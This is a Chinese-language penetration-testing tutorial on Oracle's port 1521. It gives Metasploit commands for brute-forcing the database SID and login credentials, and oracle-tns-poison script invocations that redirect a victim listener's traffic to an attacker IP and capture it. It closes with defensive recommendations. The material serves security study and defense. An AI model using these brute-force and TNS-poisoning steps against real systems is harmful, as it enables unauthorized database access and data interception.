学习笔记 | 记一次对1521端口的漏洞利用以及踩坑
字数 2109 2025-08-15 21:32:35
Oracle 1521端口漏洞利用实战教学文档
1. 前言
本教学文档详细记录了对Oracle数据库1521端口的渗透测试过程,包含SID爆破、TNS Listener远程注册投毒漏洞的检测与利用方法。文档基于实际渗透测试经验整理,涵盖了从信息收集到漏洞利用的全过程,以及过程中遇到的技术难题和解决方案。
2. 环境准备
2.1 工具准备
- Metasploit Framework:用于SID爆破和漏洞检测
- Oracle Instant Client:包含basic、sdk和sqlplus组件
- ruby-oci8:Oracle数据库接口
- oracle-tns-poison:TNS投毒漏洞利用工具
- Wireshark/tshark:网络流量分析工具
2.2 依赖安装
2.2.1 Oracle Instant Client安装
-
从Oracle官网下载以下组件:
- instantclient-basic-linux.x64
- instantclient-sdk-linux.x64
- instantclient-sqlplus-linux.x64
-
解压后会自动生成instantclient_19_6目录
-
配置环境变量(添加到~/.bashrc):
export PATH=$PATH:/opt/instantclient_19_6
export SQLPATH=/opt/instantclient_19_6
export TNS_ADMIN=/opt/instantclient_19_6
export LD_LIBRARY_PATH=/opt/instantclient_19_6
export ORACLE_HOME=/opt/instantclient_19_6
- 使环境变量生效:
source ~/.bashrc
2.2.2 ruby-oci8安装
-
下载ruby-oci8安装包(推荐版本2.2.8)
-
解压并进入目录:
tar -zxvf ruby-oci8-2.2.8.tar.gz
cd ruby-oci8-2.2.8/
- 安装编译工具(如遇错误):
apt-get install build-essential
# 如遇依赖问题,可尝试指定版本安装
apt install gcc-9-base=9.3.0-14
- 编译安装:
make && make install
3. SID爆破
3.1 SID概念
SID(System IDentifier)是Oracle数据库的唯一标识符。远程连接Oracle数据库需要知道:
- SID
- 用户名
- 密码
- 服务器IP地址
3.2 使用Metasploit爆破SID
- 启动msfconsole:
msfconsole
- 使用SID爆破模块:
use auxiliary/admin/oracle/sid_brute
- 设置目标参数:
set RHOSTS <目标IP>
set RPORT 1521
- 执行爆破:
run
成功爆破后,将获得目标数据库的SID(如'ORCL')。
3.3 使用SID爆破账号密码
- 使用Metasploit的Oracle登录爆破模块:
use auxiliary/admin/oracle/oracle_login
- 设置参数:
set RHOSTS <目标IP>
set RPORT 1521
set SID <爆破得到的SID>
set USER_FILE <用户名字典路径>
set PASS_FILE <密码字典路径>
- 执行爆破:
run
4. TNS Listener远程注册投毒漏洞
4.1 漏洞原理
攻击者无需用户名和密码即可利用此漏洞:
- 将数据库服务器的合法'TNS Listener'组件中的数据转向到攻击者控制的系统
- 控制远程组件的数据库实例
- 造成组件和合法数据库之间的攻击
4.2 漏洞检测
4.2.1 使用Metasploit检测
- 使用tnspoison_checker模块:
use auxiliary/scanner/oracle/tnspoison_checker
- 设置目标参数:
set RHOSTS <目标IP>
set RPORT 1521
- 执行检测:
run
4.2.2 使用oracle-tns-poison检测
- 下载工具:
git clone https://github.com/interference-security/oracle-tns-poison
- 使用check_tns_poison.py检测:
python check_tns_poison.py
- 注册名为NSGR的服务
- 观察是否收到接受响应
- 使用tshark抓包验证:
tshark -i <网卡> port 1521
- 观察是否与目标通过三次握手进行连接
- 目标是否接受请求
4.3 漏洞利用
4.3.1 通过sqlplus连接
如果已获取数据库账号密码,可使用sqlplus工具连接:
sqlplus 用户名/密码@ip地址[:端口]/service_name [as sysdba]
4.3.2 使用oracle-tns-poison接收数据
- 使用tnspoisonv1.py:
python tnspoisonv1.py 攻击者ip 端口 数据库名 受害者ip 端口
- 前提:必须有相同名字的数据库
- 可接收目标发送的所有数据
- 流量分析:
- 使用Wireshark分析捕获的流量
- 可获取受害人向攻击者发送的所有数据
5. 防御建议
-
限制网络访问:
- 配置防火墙规则,限制1521端口的访问来源
- 使用VPN或跳板机访问数据库
-
加强认证:
- 使用强密码策略
- 定期更换密码
- 限制失败登录尝试次数
-
更新补丁:
- 及时安装Oracle发布的安全补丁
- 特别是修复TNS Listener漏洞的补丁
-
网络监控:
- 监控1521端口的异常连接
- 设置告警机制,检测暴力破解行为
-
最小权限原则:
- 数据库用户只授予必要的最小权限
- 避免使用默认账户和密码
6. 参考资源
- Oracle TNS Poison漏洞详解:https://xz.aliyun.com/t/6034
- oracle-tns-poison工具:https://github.com/interference-security/oracle-tns-poison
- Oracle安全配置指南:https://blog.csdn.net/qq_40606798/article/details/86493164
- Oracle Instant Client下载:https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html
- ruby-oci8下载:https://bintray.com/kubo/generic/ruby-oci8
7. 总结
本教学文档详细介绍了针对Oracle数据库1521端口的渗透测试方法,重点包括:
- SID爆破的技术实现和依赖解决
- TNS Listener远程注册投毒漏洞的检测与利用
- 实际测试中遇到的技术难题和解决方案
- 完整的防御建议体系
通过本教学,安全研究人员可以全面了解Oracle数据库的常见安全漏洞及利用方法,同时为系统管理员提供有效的防御建议。